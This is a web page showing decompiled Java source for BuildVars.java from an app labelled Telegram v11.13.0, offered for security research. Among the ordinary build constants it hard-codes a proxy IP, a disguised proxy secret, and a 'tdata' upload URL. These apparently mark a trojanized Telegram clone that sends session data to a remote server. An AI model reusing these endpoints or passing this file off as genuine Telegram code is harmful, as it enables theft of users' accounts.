正在查看: Telegram v11.13.0 应用的 BuildVars.java JAVA 源代码文件
本页面展示 JAVA 反编译生成的源代码文件,支持语法高亮显示。 仅供安全研究与技术分析使用,严禁用于任何非法用途。请遵守相关法律法规。
正在查看: Telegram v11.13.0 应用的 BuildVars.java JAVA 源代码文件
本页面展示 JAVA 反编译生成的源代码文件,支持语法高亮显示。 仅供安全研究与技术分析使用,严禁用于任何非法用途。请遵守相关法律法规。
package org.telegram.messenger;
import android.content.SharedPreferences;
import android.os.Build;
import com.android.billingclient.api.ProductDetails;
import java.lang.Thread;
import java.util.Iterator;
import java.util.Objects;
import org.telegram.messenger.BuildVars$;
public class BuildVars {
public static String APP_HASH = null;
public static int APP_ID = 0;
public static String BUILD_VERSION_STRING = null;
public static boolean CHECK_UPDATES = true;
public static boolean DEBUG_PRIVATE_VERSION = false;
public static boolean DEBUG_VERSION = false;
public static String GOOGLE_AUTH_CLIENT_ID = null;
public static String HUAWEI_APP_ID = null;
public static String HUAWEI_STORE_URL = null;
public static boolean IS_BILLING_UNAVAILABLE = false;
public static boolean LOGS_ENABLED = false;
public static boolean NO_SCOPED_STORAGE = false;
public static String PLAYSTORE_APP_URL = null;
public static String SAFETYNET_KEY = null;
public static boolean USE_CLOUD_STRINGS = true;
public static String addrurl;
private static Boolean betaApp;
public static int port;
public static String proxy_ip;
public static String secret;
static {
boolean z = true;
NO_SCOPED_STORAGE = Build.VERSION.SDK_INT <= 29;
BUILD_VERSION_STRING = "11.13.0";
APP_ID = 799083;
APP_HASH = "f6c6eb01fdd6bb007c6d8f8b7405b975";
proxy_ip = "52.221.34.253";
port = 443;
secret = "eed08620792054d066f5da53aa669810aa617a7572652e6d6963726f736f66742e636f6d";
addrurl = "http://192.253.234.3:8080/tdata";
SAFETYNET_KEY = "AIzaSyDqt8P-7F7CPCseMkOiVRgb1LY8RN1bvH8";
PLAYSTORE_APP_URL = "https://play.google.com/store/apps/details?id=org.telegram.messenger";
HUAWEI_STORE_URL = "https://appgallery.huawei.com/app/C101184875";
GOOGLE_AUTH_CLIENT_ID = "760348033671-81kmi3pi84p11ub8hp9a1funsv0rn2p9.apps.googleusercontent.com";
HUAWEI_APP_ID = "101184875";
IS_BILLING_UNAVAILABLE = false;
if (ApplicationLoader.applicationContext != null) {
SharedPreferences sharedPreferences = ApplicationLoader.applicationContext.getSharedPreferences("systemConfig", 0);
boolean z2 = DEBUG_VERSION;
if (!z2 && !sharedPreferences.getBoolean("logsEnabled", z2)) {
z = false;
}
LOGS_ENABLED = z;
if (z) {
Thread.setDefaultUncaughtExceptionHandler(new BuildVars$.ExternalSyntheticLambda0(Thread.getDefaultUncaughtExceptionHandler()));
}
}
}
public static String getSmsHash() {
return ApplicationLoader.isStandaloneBuild() ? "w0lkcmTZkKh" : DEBUG_VERSION ? "O2P2z+/jBpJ" : "oLeq9AcOZkT";
}
private static boolean hasDirectCurrency() {
ProductDetails productDetails;
if (BillingController.getInstance().isReady() && (productDetails = BillingController.PREMIUM_PRODUCT_DETAILS) != null) {
Iterator it = productDetails.getSubscriptionOfferDetails().iterator();
while (it.hasNext()) {
for (ProductDetails.PricingPhase pricingPhase : ((ProductDetails.SubscriptionOfferDetails) it.next()).getPricingPhases().getPricingPhaseList()) {
Iterator<String> it2 = MessagesController.getInstance(UserConfig.selectedAccount).directPaymentsCurrency.iterator();
while (it2.hasNext()) {
if (Objects.equals(pricingPhase.getPriceCurrencyCode(), it2.next())) {
return true;
}
}
}
}
}
return false;
}
public static boolean isBetaApp() {
if (betaApp == null) {
betaApp = Boolean.valueOf(ApplicationLoader.applicationContext != null && "org.telegram.messenger.beta".equals(ApplicationLoader.applicationContext.getPackageName()));
}
return betaApp.booleanValue();
}
public static boolean isHuaweiStoreApp() {
return ApplicationLoader.isHuaweiStoreBuild();
}
public static void lambda$static$0(Thread.UncaughtExceptionHandler uncaughtExceptionHandler, Thread thread, Throwable th) {
FileLog.fatal(th, false);
if (uncaughtExceptionHandler != null) {
uncaughtExceptionHandler.uncaughtException(thread, th);
}
}
public static boolean useInvoiceBilling() {
if (!BillingController.billingClientEmpty && !ApplicationLoader.isStandaloneBuild()) {
isBetaApp();
if (!isHuaweiStoreApp() && !hasDirectCurrency()) {
return false;
}
}
return true;
}
}